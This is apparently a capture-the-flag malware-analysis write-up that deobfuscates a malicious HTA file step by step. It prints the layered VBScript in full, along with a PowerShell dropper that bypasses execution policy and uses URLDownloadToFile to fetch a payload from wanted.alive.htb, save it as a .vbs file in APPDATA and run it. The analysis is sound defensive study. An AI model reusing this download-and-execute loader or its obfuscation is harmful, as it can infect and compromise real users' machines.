Resource file: wanted.hta
Script after deobfuscate:
<script language=JavaScript>m='<script language=JavaScript>m='<script>
<!--
document.write(unescape("%3Cscript%20language%3DJavaScript%3Em%3D%27<script%253E
<!--
document.write%2528unescape%2528"<%252521DOCTYPEhtml>
<metahttp-equiv="X-UA-Compatible"content="IE=EmulateIE8">
<html>
<body>
<sCrIPTlANgUAge="VbScRipT">
DiMOCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRLVpYuWvvdptBSONolYytwkxIhCnXqimStUHeBdpRBGlAwuMJRJNqkfjiBKOAqjigAGZyghHgJhPzozEPElPmonvxOEqnXAwCwnTBVPziQXITiKqAMMhBzrhygtuGbOfcwXPJLJSTlnsdTKXMGvpGFYvfTmDaqIlzNTqpqzPhhktykgBvytPUtQnnpprPF,PoRkkqjVbkMUvpXeCSCGmsOdJUQlGcAUJUngSiqyuVjPViqbHZeseLYFNCcVukIEhbtljkiiGoWeAZgVghNVJcDhcTBgSDyFQLePsWgOtrScsnNAJtyDlRZAjVhhhHpMuZogCVFdqfUXGCHHWJhGRHGwRIRmwaFPATUzTJaRdFWdyskcEhJsKYUMGjyLSiMARuQhBMMSrUUKbmPBmNYbWukinAYRFHhKaFYvIHlVM%3AsetOCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRLVpYuWvvdptBSONolYytwkxIhCnXqimStUHeBdpRBGlAwuMJRJNqkfjiBKOAqjigAGZyghHgJhPzozEPElPmonvxOEqnXAwCwnTBVPziQXITiKqAMMhBzrhygtuGbOfcwXPJLJSTlnsdTKXMGvpGFYvfTmDaqIlzNTqpqzPhhktykgBvytPUtQnnpprPF=createoBjEct%28Chr%28%26H57%29%26"SCRIPT.shELL"%29%3APoRkkqjVbkMUvpXeCSCGmsOdJUQlGcAUJUngSiqyuVjPViqbHZeseLYFNCcVukIEhbtljkiiGoWeAZgVghNVJcDhcTBgSDyFQLePsWgOtrScsnNAJtyDlRZAjVhhhHpMuZogCVFdqfUXGCHHWJhGRHGwRIRmwaFPATUzTJaRdFWdyskcEhJsKYUMGjyLSiMARuQhBMMSrUUKbmPBmNYbWukinAYRFHhKaFYvIHlVM="PowErShEll-ExBYPaSS-NOP-W1-CdEVIcEcrEDEnTIAlDePlOYmENt.EXe%3Biex%28%24%28iEX%28%27[SYsTeM.TeXt.EnCoding%5D%27 [chAr%5D0X3A [CHAr%5D0X3A %27uTf8.geTSTring%28[SYstem.ConVERT%5D%27 [chAR%5D58 [CHAR%5D58 %27fRoMBASE64string%28%27 [CHar%5D0X22 %27JGVhNmM4bXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkZC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlckRlZmluSVRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbU9OLmRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBHLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENmbXIsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYVV2eVZCUkQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZmWWxEb2wsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb0ZYckloKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiU3V4dFBJQkp4bCIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbklZcCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZWE2YzhtclQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly93YW50ZWQuYWxpdmUuaHRiLzM1L3dhbnRlZC50SUYiLCIkZU52OkFQUERBVEFcd2FudGVkLnZicyIsMCwwKTtTVEFSdC1zbGVlUCgzKTtzdEFSdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW5WOkFQUERBVEFcd2FudGVkLnZicyI=%27 [cHar%5D0X22 %27%29%29%27%29%29%29"%3AOCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRLVpYuWvvdptBSONolYytwkxIhCnXqimStUHeBdpRBGlAwuMJRJNqkfjiBKOAqjigAGZyghHgJhPzozEPElPmonvxOEqnXAwCwnTBVPziQXITiKqAMMhBzrhygtuGbOfcwXPJLJSTlnsdTKXMGvpGFYvfTmDaqIlzNTqpqzPhhktykgBvytPUtQnnpprPF.rUNchR%2834%29%26OCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRLVpYuWvvdptBSONolYytwkxIhCnXqimStUHeBdpRBGlAwuMJRJNqkfjiBKOAqjigAGZyghHgJhPzozEPElPmonvxOEqnXAwCwnTBVPziQXITiKqAMMhBzrhygtuGbOfcwXPJLJSTlnsdTKXMGvpGFYvfTmDaqIlzNTqpqzPhhktykgBvytPUtQnnpprPF.eXpanDEnVIroNMENtSTRinGs%28Chr%28%26H25%29%26ChrW%28%26H53%29%26Chr%28%26H79%29%26ChrW%28%26H73%29%26ChrW%28%26H54%29%26ChrW%28%26H65%29%26ChrW%28%26H6D%29%26Chr%28%26H52%29%26ChrW%28%26H4F%29%26Chr%28%26H6F%29%26ChrW%28%26H74%29%26ChrW%28%26H25%29%29%26"%5CSYStEM32%5CWINdOwSpoweRSheLL%5CV1.0%5CPoWERshElL.ExE"%26chr%2834%29%26cHR%2832%29%26Chr%2834%29%26PoRkkqjVbkMUvpXeCSCGmsOdJUQlGcAUJUngSiqyuVjPViqbHZeseLYFNCcVukIEhbtljkiiGoWeAZgVghNVJcDhcTBgSDyFQLePsWgOtrScsnNAJtyDlRZAjVhhhHpMuZogCVFdqfUXGCHHWJhGRHGwRIRmwaFPATUzTJaRdFWdyskcEhJsKYUMGjyLSiMARuQhBMMSrUUKbmPBmNYbWukinAYRFHhKaFYvIHlVM%26CHr%2834%29,0%3ASETOCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRLVpYuWvvdptBSONolYytwkxIhCnXqimStUHeBdpRBGlAwuMJRJNqkfjiBKOAqjigAGZyghHgJhPzozEPElPmonvxOEqnXAwCwnTBVPziQXITiKqAMMhBzrhygtuGbOfcwXPJLJSTlnsdTKXMGvpGFYvfTmDaqIlzNTqpqzPhhktykgBvytPUtQnnpprPF=NOThING
SeLF.CloSE
</script>
</body>
</html>"));
//--%253E
</script>';d=unescape(m);document.write(d);</script>"
//-->
</script>';d=unescape(m);document.write(d);</script>';d=unescape(m);document.write(d);</script>
Deobfuscate the VBS script
<aside> 💡
[CyberChef recipe and ingredients](https://gchq.github.io/CyberChef/#recipe=Decode_text('UTF-8 (65001)')&input=RGlNT0NweUxTaVFpdHRpcEN2TVZkWVZiWU5nTVhESnlYdlpsVmlkcFptamtPSVJMVnBZdVd2dmRwdEJTT05vbFl5dHdreEloQ25YcWltU3RVSGVCZHBSQkdsQXd1TUpSSk5xa2ZqaUJLT0FxamlnQUdaeWdoSGdKaFB6b3pFUEVsUG1vbnZ4T0VxblhBd0N3blRCVlB6aVFYSVRpS3FBTU1oQnpyaHlndHVHYk9mY3dYUEpMSlNUbG5zZFRLWE1HdnBHRll2ZlRtRGFxSWx6TlRxcHF6UGhoa3R5a2dCdnl0UFV0UW5ucHByUEYsUG9Sa2txalZia01VdnBYZUNTQ0dtc09kSlVRbEdjQVVKVW5nU2lxeXVWalBWaXFiSFplc2VMWUZOQ2NWdWtJRWhidGxqa2lpR29XZUFaZ1ZnaE5WSmNEaGNUQmdTRHlGUUxlUHNXZ090clNjc25OQUp0eURsUlpBalZoaGhIcE11Wm9nQ1ZGZHFmVVhHQ0hIV0poR1JIR3dSSVJtd2FGUEFUVXpUSmFSZEZXZHlza2NFaEpzS1lVTUdqeUxTaU1BUnVRaEJNTVNyVVVLYm1QQm1OWWJXdWtpbkFZUkZIaEthRll2SUhsVk0lM0FzZXRPQ3B5TFNpUWl0dGlwQ3ZNVmRZVmJZTmdNWERKeVh2WmxWaWRwWm1qa09JUkxWcFl1V3Z2ZHB0QlNPTm9sWXl0d2t4SWhDblhxaW1TdFVIZUJkcFJCR2xBd3VNSlJKTnFrZmppQktPQXFqaWdBR1p5Z2hIZ0poUHpvekVQRWxQbW9udnhPRXFuWEF3Q3duVEJWUHppUVhJVGlLcUFNTWhCenJoeWd0dUdiT2Zjd1hQSkxKU1RsbnNkVEtYTUd2cEdGWXZmVG1EYXFJbHpOVHFwcXpQaGhrdHlrZ0J2eXRQVXRRbm5wcHJQRj1jcmVhdGVvQmpFY3QlMjhDaHIlMjglMjZINTclMjklMjYiU0NSSVBULnNoRUxMIiUyOSUzQVBvUmtrcWpWYmtNVXZwWGVDU0NHbXNPZEpVUWxHY0FVSlVuZ1NpcXl1VmpQVmlxYkhaZXNlTFlGTkNjVnVrSUVoYnRsamtpaUdvV2VBWmdWZ2hOVkpjRGhjVEJnU0R5RlFMZVBzV2dPdHJTY3NuTkFKdHlEbFJaQWpWaGhoSHBNdVpvZ0NWRmRxZlVYR0NISFdKaEdSSEd3UklSbXdhRlBBVFV6VEphUmRGV2R5c2tjRWhKc0tZVU1HanlMU2lNQVJ1UWhCTU1TclVVS2JtUEJtTlliV3VraW5BWVJGSGhLYUZZdklIbFZNPSJQb3dFclNoRWxsLUV4QllQYVNTLU5PUC1XMS1DZEVWSWNFY3JFREVuVElBbERlUGxPWW1FTnQuRVhlJTNCaWV4JTI4JTI0JTI4aUVYJTI4JTI3W1NZc1RlTS5UZVh0LkVuQ29kaW5nJTVEJTI3IFtjaEFyJTVEMFgzQSBbQ0hBciU1RDBYM0EgJTI3dVRmOC5nZVRTVHJpbmclMjhbU1lzdGVtLkNvblZFUlQlNUQlMjcgW2NoQVIlNUQ1OCBbQ0hBUiU1RDU4ICUyN2ZSb01CQVNFNjRzdHJpbmclMjglMjcgW0NIYXIlNUQwWDIyICUyN0pHVmhObU00YlhKVUlDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnUFNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJRUZrWkMxVWVYQmxJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0xXMWxUVUpsY2tSbFptbHVTVlJKYjI0Z0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FuVzBSc2JFbHRjRzl5ZENnaWRWSk1iVTlPTG1Sc1RDSXNJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1EyaGhjbE5sZENBOUlFTm9ZWEpUWlhRdVZXNXBZMjlrWlNsZGNIVmliR2xqSUhOMFlYUnBZeUJsZUhSbGNtNGdTVzUwVUhSeUlGVlNURVJ2ZDI1c2IyRmtWRzlHYVd4bEtFbHVkRkIwY2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJRkJITEhOMGNtbHVaeUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lFTm1iWElzYzNSeWFXNW5JQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1lWVjJlVlpDVWtRc2RXbHVkQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lHWm1XV3hFYjJ3c1NXNTBVSFJ5SUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdiMFpZY2tsb0tUc25JQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0xXNUJUVVVnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWlVM1Y0ZEZCSlFrcDRiQ0lnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQXRUbUZ0UlhOUVFXTkZJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2JrbFpjQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDMVFZWE56VkdoeWRUc2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBa1pXRTJZemh0Y2xRNk9sVlNURVJ2ZDI1c2IyRmtWRzlHYVd4bEtEQXNJbWgwZEhBNkx5OTNZVzUwWldRdVlXeHBkbVV1YUhSaUx6TTFMM2RoYm5SbFpDNTBTVVlpTENJa1pVNTJPa0ZRVUVSQlZFRmNkMkZ1ZEdWa0xuWmljeUlzTUN3d0tUdFRWRUZTZEMxemJHVmxVQ2d6S1R0emRFRlNkQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDSWtaVzVXT2tGUVVFUkJWRUZjZDJGdWRHVmtMblppY3lJPSUyNyBbY0hhciU1RDBYMjIgJTI3JTI5JTI5JTI3JTI5JTI5JTI5IiUzQU9DcHlMU2lRaXR0aXBDdk1WZFlWYllOZ01YREp5WHZabFZpZHBabWprT0lSTFZwWXVXdnZkcHRCU09Ob2xZeXR3a3hJaENuWHFpbVN0VUhlQmRwUkJHbEF3dU1KUkpOcWtmamlCS09BcWppZ0FHWnlnaEhnSmhQem96RVBFbFBtb252eE9FcW5YQXdDd25UQlZQemlRWElUaUtxQU1NaEJ6cmh5Z3R1R2JPZmN3WFBKTEpTVGxuc2RUS1hNR3ZwR0ZZdmZUbURhcUlsek5UcXBxelBoaGt0eWtnQnZ5dFBVdFFubnBwclBGLnJVTmNoUiUyODM0JTI5JTI2T0NweUxTaVFpdHRpcEN2TVZkWVZiWU5nTVhESnlYdlpsVmlkcFptamtPSVJMVnBZdVd2dmRwdEJTT05vbFl5dHdreEloQ25YcWltU3RVSGVCZHBSQkdsQXd1TUpSSk5xa2ZqaUJLT0FxamlnQUdaeWdoSGdKaFB6b3pFUEVsUG1vbnZ4T0VxblhBd0N3blRCVlB6aVFYSVRpS3FBTU1oQnpyaHlndHVHYk9mY3dYUEpMSlNUbG5zZFRLWE1HdnBHRll2ZlRtRGFxSWx6TlRxcHF6UGhoa3R5a2dCdnl0UFV0UW5ucHByUEYuZVhwYW5ERW5WSXJvTk1FTnRTVFJpbkdzJTI4Q2hyJTI4JTI2SDI1JTI5JTI2Q2hyVyUyOCUyNkg1MyUyOSUyNkNociUyOCUyNkg3OSUyOSUyNkNoclclMjglMjZINzMlMjklMjZDaHJXJTI4JTI2SDU0JTI5JTI2Q2hyVyUyOCUyNkg2NSUyOSUyNkNoclclMjglMjZINkQlMjklMjZDaHIlMjglMjZINTIlMjklMjZDaHJXJTI4JTI2SDRGJTI5JTI2Q2hyJTI4JTI2SDZGJTI5JTI2Q2hyVyUyOCUyNkg3NCUyOSUyNkNoclclMjglMjZIMjUlMjklMjklMjYiJTVDU1lTdEVNMzIlNUNXSU5kT3dTcG93ZVJTaGVMTCU1Q1YxLjAlNUNQb1dFUnNoRWxMLkV4RSIlMjZjaHIlMjgzNCUyOSUyNmNIUiUyODMyJTI5JTI2Q2hyJTI4MzQlMjklMjZQb1Jra3FqVmJrTVV2cFhlQ1NDR21zT2RKVVFsR2NBVUpVbmdTaXF5dVZqUFZpcWJIWmVzZUxZRk5DY1Z1a0lFaGJ0bGpraWlHb1dlQVpnVmdoTlZKY0RoY1RCZ1NEeUZRTGVQc1dnT3RyU2Nzbk5BSnR5RGxSWkFqVmhoaEhwTXVab2dDVkZkcWZVWEdDSEhXSmhHUkhHd1JJUm13YUZQQVRVelRKYVJkRldkeXNrY0VoSnNLWVVNR2p5TFNpTUFSdVFoQk1NU3JVVUtibVBCbU5ZYld1a2luQVlSRkhoS2FGWXZJSGxWTSUyNkNIciUyODM0JTI5LDAlM0FTRVRPQ3B5TFNpUWl0dGlwQ3ZNVmRZVmJZTmdNWERKeVh2WmxWaWRwWm1qa09JUkxWcFl1V3Z2ZHB0QlNPTm9sWXl0d2t4SWhDblhxaW1TdFVIZUJkcFJCR2xBd3VNSlJKTnFrZmppQktPQXFqaWdBR1p5Z2hIZ0poUHpvekVQRWxQbW9udnhPRXFuWEF3Q3duVEJWUHppUVhJVGlLcUFNTWhCenJoeWd0dUdiT2Zjd1hQSkxKU1RsbnNkVEtYTUd2cEdGWXZmVG1EYXFJbHpOVHFwcXpQaGhrdHlrZ0J2eXRQVXRRbm5wcHJQRj1OT1RoSU5HClNlTEYuQ2xvU0U&oenc=65001&ieol=CRLF)
</aside>
This section stands out because of obvious reason - Powershell.
PowErShEll-ExBYPaSS-NOP-W1-CdEVIcEcrEDEnTIAlDePlOYmENt.EXe;iex($(iEX('[SYsTeM.TeXt.EnCoding]' : : 'uTf8.geTSTring([SYstem.ConVERT]' : : 'fRoMBASE64string(' " 'JGVhNmM4bXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkZC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlckRlZmluSVRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbU9OLmRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBHLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENmbXIsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYVV2eVZCUkQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZmWWxEb2wsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb0ZYckloKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiU3V4dFBJQkp4bCIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbklZcCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZWE2YzhtclQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly93YW50ZWQuYWxpdmUuaHRiLzM1L3dhbnRlZC50SUYiLCIkZU52OkFQUERBVEFcd2FudGVkLnZicyIsMCwwKTtTVEFSdC1zbGVlUCgzKTtzdEFSdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW5WOkFQUERBVEFcd2FudGVkLnZicyI=' " '))')))
Up until fRoMBASE64string , the script is quite readable. Let’s decode the base64 part.
<aside> 💡
CyberChef recipe and ingredients
</aside>
$ea6c8mrT=Add-Type -meMBerDefinITIon '[DllImport("uRLmON.dlL",CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr PG,string Cfmr,string aUvyVBRD,uint ffYlDol,IntPtr oFXrIh);' -nAME "SuxtPIBJxl" -NamEsPAcE nIYp -PassThru; $ea6c8mrT::URLDownloadToFile(0,"<http://wanted.alive.htb/35/wanted.tIF","$eNv:APPDATA\\wanted.vbs",0,0);STARt-sleeP(3);stARt"$enV:APPDATA\\wanted.vbs>"
The script download a file name wanted.tIF and save it in APPDATA as wanted.vbs.
<aside> 💡
To download the script from wanted.alive.htb. Add name resolution entry to machine’s host file like this. The IP may change tho.
</aside>
wanted.tIFMost of the code is readable. But there are 3 encoded variable latifoliado , arran , and sandareso .
They were base64 encoded, concatenated and reassembled to hide its nature. Furthermore, the code use a custom function - descortinar to swap the order of string blocks.
This function takes three variables descair , brita , and chincharel . It recursively replaces all occurrences of brita within descair with chincharel.
This is a simple Python to piece them together by reversing descortinar and do base64 decode.